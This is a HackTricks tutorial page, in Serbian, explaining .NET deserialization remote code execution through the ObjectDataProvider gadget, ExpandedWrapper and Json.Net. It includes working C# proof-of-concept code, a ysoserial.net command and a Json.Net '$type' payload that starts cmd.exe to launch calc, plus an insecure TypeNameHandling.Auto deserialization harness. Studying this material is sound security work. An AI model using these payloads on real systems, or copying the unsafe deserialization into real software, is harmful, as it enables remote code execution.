Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Ovaj post je posvećen razumevanju kako se gadget ObjectDataProvider koristi za dobijanje RCE i kako se biblioteke za serijalizaciju Json.Net i xmlSerializer mogu zloupotrebiti sa tim gadgetom.

ObjectDataProvider Gadget

Iz dokumentacije: klasa ObjectDataProvider obavija i kreira objekat koji možete koristiti kao izvor vezivanja. Da, to je čudno objašnjenje, pa hajde da vidimo šta ova klasa ima što je tako interesantno: Ova klasa omogućava obavijanje proizvoljnog objekta, korišćenje MethodParameters za postavljanje proizvoljnih parametara, a zatim korišćenje MethodName za pozivanje proizvoljne funkcije proizvoljnog objekta deklarisanog korišćenjem proizvoljnih parametara. Stoga, proizvoljni objekat će izvršiti funkciju sa parametrima dok se deserializuje.

Kako je to moguće

System.Windows.Data prostor imena, koji se nalazi unutar PresentationFramework.dll na C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, je mesto gde je ObjectDataProvider definisan i implementiran.

Korišćenjem dnSpy možete inspektovati kod klase koja nas zanima. Na slici ispod vidimo kod PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Ime metode

Kao što možete primetiti, kada je MethodName postavljen, poziva se base.Refresh(), hajde da pogledamo šta to radi:

U redu, hajde da nastavimo da vidimo šta radi this.BeginQuery(). BeginQuery je prepisan od strane ObjectDataProvider i ovo je ono što radi:

Napomena: na kraju koda poziva se this.QueryWorke(null). Hajde da vidimo šta to izvršava:

Napomena: ovo nije kompletan kod funkcije QueryWorker, ali pokazuje zanimljiv deo: Kod poziva this.InvokeMethodOnInstance(out ex); ovo je linija gde se postavljena metoda poziva.

Ako želite da proverite da samo postavljanje MethodName** će biti izvršeno**, možete pokrenuti ovaj kod:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Napomena da je potrebno dodati kao referencu C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll kako bi se učitao System.Windows.Data

ExpandedWrapper

Koristeći prethodni exploit, biće slučajeva gde će objekat biti deserijalizovan kao ObjectDataProvider instanca (na primer u DotNetNuke vuln, koristeći XmlSerializer, objekat je deserijalizovan koristeći GetType). Tada, neće imati znanje o tipu objekta koji je obavijen u ObjectDataProvider instanci (Process na primer). Možete pronaći više informacija o DotNetNuke vuln ovde.

Ova klasa omogućava da se odrede tipovi objekata objekata koji su enkapsulirani u datoj instanci. Dakle, ova klasa se može koristiti za enkapsulaciju izvornog objekta (ObjectDataProvider) u novi tip objekta i pružanje svojstava koja su nam potrebna (ObjectDataProvider.MethodName i ObjectDataProvider.MethodParameters). Ovo je veoma korisno za slučajeve kao što je onaj predstavljen ranije, jer ćemo moći da obavijemo _ObjectDataProvider** unutar **ExpandedWrapper _ instance i kada se deserijalizuje ova klasa će kreirati OjectDataProvider objekat koji će izvršiti funkciju naznačenu u MethodName.

Možete proveriti ovaj wrapper sa sledećim kodom:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Na službenoj veb stranici je navedeno da ova biblioteka omogućava serijalizaciju i deserializaciju bilo kog .NET objekta uz pomoć moćnog JSON serijalizatora Json.NET. Dakle, ako bismo mogli deserijalizovati ObjectDataProvider gadget, mogli bismo izazvati RCE samo deserializovanjem objekta.

Json.Net primer

Prvo, hajde da vidimo primer kako da serijalizujemo/deserijalizujemo objekat koristeći ovu biblioteku:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Zloupotreba Json.Net

Koristeći ysoserial.net kreirao sam eksploataciju:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

U ovom kodu možete testirati eksploataciju, samo ga pokrenite i videćete da se izvršava kalkulator:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Last updated